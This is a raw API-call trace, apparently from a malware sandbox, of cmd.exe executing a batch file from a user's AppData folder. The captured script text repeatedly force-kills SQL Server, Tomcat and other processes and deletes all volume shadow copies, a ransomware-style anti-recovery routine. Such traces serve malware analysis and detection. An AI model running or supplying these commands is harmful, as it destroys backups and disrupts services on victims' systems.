[0091.249] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0091.249] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.249] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.250] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0091.250] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0091.250] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0091.252] CloseHandle (hObject=0x78) returned 1 [0091.252] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.413] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000001") returned 8 [0091.413] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0091.413] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.413] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0091.413] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0091.413] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0091.414] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0091.414] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0091.414] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0091.414] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0091.414] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0091.414] SetConsoleInputExeNameW () returned 0x1 [0091.414] GetConsoleOutputCP () returned 0x1b5 [0091.414] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0091.414] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.414] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0091.414] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0091.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=1097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x449 [0091.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x449 [0091.414] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x227, lpOverlapped=0x0) returned 1 [0091.415] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=551, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 551 [0091.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.415] GetFileType (hFile=0x74) returned 0x1 [0091.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.415] SetFilePointer (in: hFile=0x74, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0091.415] _tell (_FileHandle=3) returned 1144 [0091.415] _close (_FileHandle=3) returned 0 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0091.415] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0091.416] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0091.416] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0091.416] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0091.416] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0091.416] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0091.416] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.416] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.416] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0091.416] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0091.416] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0091.418] CloseHandle (hObject=0x74) returned 1 [0091.418] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.961] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0091.961] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0091.961] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.961] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0091.961] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0091.961] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0091.961] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0091.961] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0091.961] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0091.962] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0091.962] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0091.962] SetConsoleInputExeNameW () returned 0x1 [0091.962] GetConsoleOutputCP () returned 0x1b5 [0091.962] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0091.962] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.962] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0091.962] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0091.962] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.962] SetFilePointer (in: hFile=0x78, lDistanceToMove=1144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0091.962] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.962] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0091.962] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x1f8, lpOverlapped=0x0) returned 1 [0091.963] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=504, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 504 [0091.963] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.963] GetFileType (hFile=0x78) returned 0x1 [0091.963] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.963] SetFilePointer (in: hFile=0x78, lDistanceToMove=-453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ab [0091.963] _tell (_FileHandle=3) returned 1195 [0091.963] _close (_FileHandle=3) returned 0 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0091.963] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0091.964] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0091.964] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.964] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.964] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0091.964] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0091.964] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0091.966] CloseHandle (hObject=0x78) returned 1 [0091.966] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0092.420] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0092.420] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0092.420] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0092.420] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0092.420] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0092.421] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0092.421] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0092.421] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0092.421] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0092.421] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0092.421] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0092.421] SetConsoleInputExeNameW () returned 0x1 [0092.421] GetConsoleOutputCP () returned 0x1b5 [0092.421] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0092.421] SetThreadUILanguage (LangId=0x0) returned 0x409 [0092.421] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0092.421] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0092.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0092.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=1195, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ab [0092.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0092.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ab [0092.422] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x1c5, lpOverlapped=0x0) returned 1 [0092.422] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=453, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 453 [0092.422] _get_osfhandle (_FileHandle=3) returned 0x74 [0092.422] GetFileType (hFile=0x74) returned 0x1 [0092.422] _get_osfhandle (_FileHandle=3) returned 0x74 [0092.422] SetFilePointer (in: hFile=0x74, lDistanceToMove=-406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4da [0092.422] _tell (_FileHandle=3) returned 1242 [0092.422] _close (_FileHandle=3) returned 0 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0092.422] _wcsicmp (_String1="TASKKILL", 